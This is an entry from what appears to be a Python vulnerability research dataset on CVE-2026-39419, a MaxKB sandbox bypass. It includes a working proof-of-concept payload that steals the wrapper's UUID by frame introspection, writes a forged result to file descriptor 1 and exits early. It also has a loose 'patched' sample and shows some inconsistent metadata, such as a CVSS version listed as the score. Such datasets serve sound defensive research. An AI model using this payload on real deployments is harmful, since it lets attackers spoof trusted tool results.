VAITP Dataset

← Back to the dataset

CVE-2026-39419

MaxKB sandbox bypass allows authenticated users to spoof tool results.

  • CVSS 3.1
  • CWE-74
  • Design Defects
  • Remote

MaxKB is an open-source AI assistant for enterprise. In versions 2.7.1 and below, an authenticated user can bypass sandbox result validation and spoof tool execution results by exploiting Python frame introspection to read the wrapper's UUID from its bytecode constants, then writing a forged result directly to file descriptor 1 (bypassing stdout redirection). By calling sys.exit(0), the attacker terminates the wrapper before it prints the legitimate output, causing the MaxKB service to parse and trust the spoofed response as the genuine tool result. This issue has been fixed in version 2.8.0.

CVSS base score
3.1
Published
2026-04-14
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Poorly Designed Access Controls
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
MaxKB
Fixed by upgrading
Yes

Solution

Upgrade to MaxKB version 2.8.0 or later.

Vulnerable code sample

import sys
import os
import inspect
import json
import uuid
import subprocess
import base64
import io

# This single script simulates the entire vulnerable environment for demonstration.
# It includes:
# 1. The main "MaxKB" service process.
# 2. The vulnerable "wrapper" script that MaxKB uses to run tools.
# 3. The malicious payload submitted by the attacker.

# -- Part 1: The Malicious Payload ---------------------------------------------
# This is the code an authenticated attacker would submit to be executed by the
# vulnerable wrapper.
malicious_code_payload = """
import sys
import os
import inspect
import json

print("Malicious code is now running inside the sandbox...")

try:
    # Step 1: Use frame introspection to find the caller's frame.
    # The current frame is this payload, the caller (f_back) is the wrapper.
    wrapper_frame = inspect.currentframe().f_back

    # Step 2: Read the wrapper's bytecode constants to find the secret UUID.
    # The UUID is used by the wrapper to validate the final output.
    # We assume it's a 36-char string constant.
    secret_uuid = None
    for const in wrapper_frame.f_code.co_consts:
        if isinstance(const, str) and len(const) == 36:
            secret_uuid = const
            break

    if secret_uuid:
        print(f"Successfully stole secret UUID from wrapper: {secret_uuid}")

        # Step 3: Forge a malicious result, including the stolen UUID.
        spoofed_data = {
            "result": "All your files have been encrypted.",
            "status": "success"
        }
        forged_output_json = {
            "uuid": secret_uuid,
            "tool_output": spoofed_data
        }
        forged_output_str = json.dumps(forged_output_json) + "\\n"

        # Step 4: Write the forged result directly to file descriptor 1.
        # This bypasses the wrapper's redirection of `sys.stdout` and writes
        # directly to the underlying process's standard output.
        print("Writing forged result directly to file descriptor 1...")
        os.write(1, forged_output_str.encode('utf-8'))

        # Step 5: Terminate the script immediately.
        # This stops the wrapper from ever reaching its own code that prints
        # the legitimate (and safe) tool output.
        print("Exiting immediately to prevent legitimate output.")
        sys.exit(0)
    else:
        print("Could not find secret UUID in wrapper frame.", file=sys.stderr)

except Exception as e:
    # Write errors to the original stderr for debugging.
    os.write(2, f"Malicious payload failed: {e}".encode('utf-8'))
    sys.exit(1)
"""

# -- Part 2: The Vulnerable Wrapper Script -------------------------------------
# This is the code for the wrapper that would be saved as a separate file
# and executed by the main service. For this demo, it's a string.
vulnerable_wrapper_script = """
import sys
import os
import io
import json
import base64

def run_sandboxed_tool(user_code_b64, task_uuid):
    '''
    This function represents the vulnerable sandboxed environment.
    '''
    # This is the legitimate output the tool is supposed to generate.
    legitimate_result = {"result": "Calculator tool ran successfully.", "status": "success"}

    # --- The Flawed Sandbox Implementation ---
    # 1. Redirect stdout to capture the tool's output.
    original_stdout = sys.stdout
    sys.stdout = captured_output = io.StringIO()

    try:
        # 2. Execute the user-provided code.
        #    If the code is the malicious payload, it will hijack the
        #    process and exit before this `exec` completes or the `finally`
        #    block is fully executed.
        user_code = base64.b64decode(user_code_b64).decode('utf-8')
        exec(user_code, {})

    finally:
        # 3. This block is supposed to run regardless, to format and print
        #    the final, trusted output. The attacker's sys.exit(0) prevents this.
        sys.stdout = original_stdout # Restore stdout
        
        # This line will not be reached if the attack is successful.
        print("Wrapper 'finally' block is running...", file=sys.stderr)

        tool_output_str = captured_output.getvalue()
        
        # If the tool generated valid JSON, use it, otherwise use the default.
        try:
            final_output = json.loads(tool_output_str)
        except (json.JSONDecodeError, TypeError):
            final_output = legitimate_result

        # 4. Construct the final JSON with the secret UUID and print it.
        validated_json = {
            "uuid": task_uuid,
            "tool_output": final_output
        }
        print(json.dumps(validated_json))


if __name__ == '__main__':
    # The wrapper is called with the base64-encoded code and the UUID.
    code_arg = sys.argv[1]
    uuid_arg = sys.argv[2]
    run_sandboxed_tool(code_arg, uuid_arg)
"""

# -- Part 3: The Main "MaxKB" Service Process ---------------------------------
def main_service_process():
    """
    Simulates the main MaxKB service that orchestrates the tool execution.
    """
    print("--- MaxKB Service Simulation ---")
    print("Received a request to execute a tool with the following code:")
    print("----------------------------------------------------")
    print(malicious_code_payload.strip())
    print("----------------------------------------------------")

    # 1. Generate a unique ID for this execution. This is the "secret".
    task_uuid = str(uuid.uuid4())
    print(f"\n[Service] Generated secret execution UUID: {task_uuid}")

    # 2. Base64-encode the payload to pass it as a command-line argument.
    encoded_payload = base64.b64encode(malicious_code_payload.encode('utf-8')).decode('utf-8')

    # 3. Prepare to run the vulnerable wrapper in a subprocess.
    #    We save the wrapper script to a temporary file to execute it.
    wrapper_filename = "vulnerable_wrapper.py"
    with open(wrapper_filename, "w") as f:
        f.write(vulnerable_wrapper_script)

    command = [sys.executable, wrapper_filename, encoded_payload, task_uuid]

    print(f"[Service] Executing sandboxed tool via: {' '.join(command[:2])} ...")

    # 4. Execute the wrapper and capture its stdout.
    #    The attacker's goal is to make their forged output appear here.
    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    stdout, stderr = process.communicate()

    # Clean up the temporary script file
    os.remove(wrapper_filename)

    print("\n[Service] Subprocess finished. Analyzing output...")
    if stderr:
        print("[Service] Received the following on stderr:")
        print(stderr.strip())

    print("\n[Service] Received the following on stdout:")
    print(stdout.strip())

    # 5. The service now validates the result.
    #    It trusts any valid JSON output as long as it contains the correct UUID.
    try:
        result_data = json.loads(stdout)
        if "uuid" in result_data and result_data["uuid"] == task_uuid:
            print("\n--- VULNERABILITY DEMONSTRATED ---")
            print("[Service] SUCCESS: UUID matches. Accepting the result.")
            print(f"[Service] The tool's reported result is: {result_data['tool_output']}")
        else:
            print("\n--- FAILED VALIDATION ---")
            print("[Service] ERROR: UUID does not match or is missing. Rejecting result.")

    except json.JSONDecodeError:
        print("\n--- FAILED VALIDATION ---")
        print("[Service] ERROR: Output was not valid JSON. Rejecting result.")


if __name__ == "__main__":
    main_service_process()

Patched code sample

import json
import os
import subprocess
import sys
import uuid

# This code represents a conceptual fix for a vulnerability like the one described.
# The vulnerability hinges on the sandboxed code being able to:
# 1. Discover a secret (UUID) from the parent/wrapper process.
# 2. Write a forged result directly to the standard output file descriptor.
# 3. Exit prematurely to prevent the legitimate result from being written.

# The fix demonstrates two key principles:
# 1. Process Isolation: The untrusted code is run in a separate process using `subprocess`.
#    Its standard output is captured via a pipe, preventing it from directly
#    writing to the main service's stdout.
# 2. Late Binding of Secrets: The unique identifier (UUID) for the execution result
#    is generated *after* the untrusted code has finished executing. This makes it
#    impossible for the untrusted code to discover and forge the UUID, as it does
#    not exist during its execution.


def run_sandboxed_tool_fixed(user_code: str):
    """
    Executes user-provided code in a sandboxed subprocess and securely wraps
    the result.

    This function fixes the vulnerability by:
    a) Capturing the subprocess's stdout, so it cannot bypass output redirection.
    b) Generating the result UUID *after* the user code has terminated, so the
       code cannot possibly know or spoof the UUID.
    """
    # The attacker's code attempts to perform the exploit.
    # It tries to write a forged result and exit early.
    malicious_code_to_run = f"""
import sys
import os
import json

# This represents the attacker's forged result. In the real exploit,
# they would have introspected the frame to find a UUID. Here, we just
# use a fake one to demonstrate the concept.
forged_result = {{
    "uuid": "fake-uuid-from-attacker-12345",
    "result": "I am a spoofed result."
}}

# Attacker bypasses stdout redirection by writing directly to file descriptor 1
# and then exits to prevent the real tool output from being printed.
try:
    os.write(1, json.dumps(forged_result).encode('utf-8'))
except Exception:
    # If FD 1 is a pipe, this still writes to the pipe, which is fine.
    # The parent process will handle the output.
    pass
finally:
    sys.exit(0) # Terminate before the legitimate code below can run.

# This is the legitimate code that the attacker prevents from running.
{user_code}
"""

    print("--- Starting Fixed Sandbox Execution ---")

    try:
        # Use subprocess to run the code in an isolated environment.
        # - `capture_output=True` redirects the child's stdout and stderr to pipes.
        #   This prevents `os.write(1, ...)` from writing to the main console.
        # - The child's `sys.exit(0)` will only terminate the subprocess, not
        #   the main application.
        completed_process = subprocess.run(
            [sys.executable, "-c", malicious_code_to_run],
            capture_output=True,
            text=True,
            timeout=5,
        )

        # The child process has finished. Now, we process its output securely.
        # `completed_process.stdout` contains whatever the attacker managed to write
        # to the pipe before exiting.
        raw_output_from_sandbox = completed_process.stdout.strip()
        
        # THE FIX:
        # 1. We completely ignore any UUID that may be in the sandboxed output.
        # 2. We generate a NEW, trusted UUID *after* execution has finished.
        final_result_uuid = str(uuid.uuid4())

        # 3. We treat the entire output from the sandbox as the result payload.
        #    The parent service is now in full control of the final output format.
        #    Even if the attacker wrote a JSON, we wrap it inside our own trusted structure.
        secure_final_result = {
            "uuid": final_result_uuid,
            "result": raw_output_from_sandbox,
            "return_code": completed_process.returncode,
            "stderr": completed_process.stderr.strip(),
        }

        print("\n--- Fixed Sandbox Execution Finished ---")
        print("Raw output captured from sandbox stdout pipe:")
        print(raw_output_from_sandbox)

        print("\nSecure, final result constructed by the service (Correct Behvaior):")
        print(json.dumps(secure_final_result, indent=2))

    except subprocess.TimeoutExpired:
        print("Sandbox execution timed out.")


if __name__ == "__main__":
    # This is the "legitimate" tool code that an authenticated user might provide.
    # In the exploit, the attacker's payload wrapper prevents this from ever running.
    legitimate_user_code = 'print("This is the legitimate tool output.")'

    run_sandboxed_tool_fixed(legitimate_user_code)

Payload

import sys
import os
import json

uuid = None
try:
    # Introspect the caller's frame to find the wrapper's execution UUID
    f_caller = sys._getframe(1)
    for const in f_caller.f_code.co_consts:
        if isinstance(const, str) and len(const) == 36 and const.count('-') == 4:
            uuid = const
            break
except Exception:
    # Fallback in case introspection fails; the exploit depends on the UUID.
    pass

if uuid:
    # Forge the result payload using the retrieved UUID
    spoofed_payload = {
        "uuid": uuid,
        "result": "Exploitation successful. The tool result has been spoofed."
    }
    spoofed_output = json.dumps(spoofed_payload)

    # Write the forged result directly to file descriptor 1 to bypass stdout redirection
    os.write(1, spoofed_output.encode('utf-8'))

    # Terminate the script immediately to prevent the legitimate output
    sys.exit(0)

Cite this entry

@misc{vaitp:cve202639419,
  title        = {{MaxKB sandbox bypass allows authenticated users to spoof tool results.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-39419},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-39419/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::